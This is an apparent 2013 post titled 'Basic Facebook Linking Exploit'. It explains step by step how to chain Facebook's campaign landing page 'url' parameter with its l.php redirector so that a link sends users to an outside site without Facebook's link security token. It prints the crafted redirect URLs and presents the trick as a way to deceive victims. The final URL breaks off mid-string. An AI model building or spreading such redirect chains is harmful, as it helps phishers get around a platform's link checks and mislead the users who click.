A tid bit of knowledge.... Basic Facebook Linking Exploit. First lets talk about redirection in facebook when you send a link to someone in facebook chat or post facebook create a security token for every single link , so your link must be like that so you can rediect facebook/l.php?u=attackersite&h=security token using this exploit you wont need security token and you can trick victims easily ------------------------------------------------ # You go this page https://developers.facebook/docs/android/ and you copy the link of download sdk https://facebook/campaign/landing.php?campaign_id=282184128580929&placement=Android_SDK&url=https://developers.facebook/resources/facebook-android-sdk-current.zip # you keep only this https://facebook/campaign/landing.php?campaign_id=282184128580929&placement=Android_SDK&url= # then you add to it https://facebook/l.php?u=http%3A%2F%2Fvillain-entertainment%2F # so it became like that : https://facebook/campaign/landing.php?campaign_id=282184128580929&placement=Android_SDK&url=https://facebook/l.php?u=http%3A%2F%2Fvillain-entertainment%
Posted on: Thu, 28 Nov 2013 02:43:22 +0000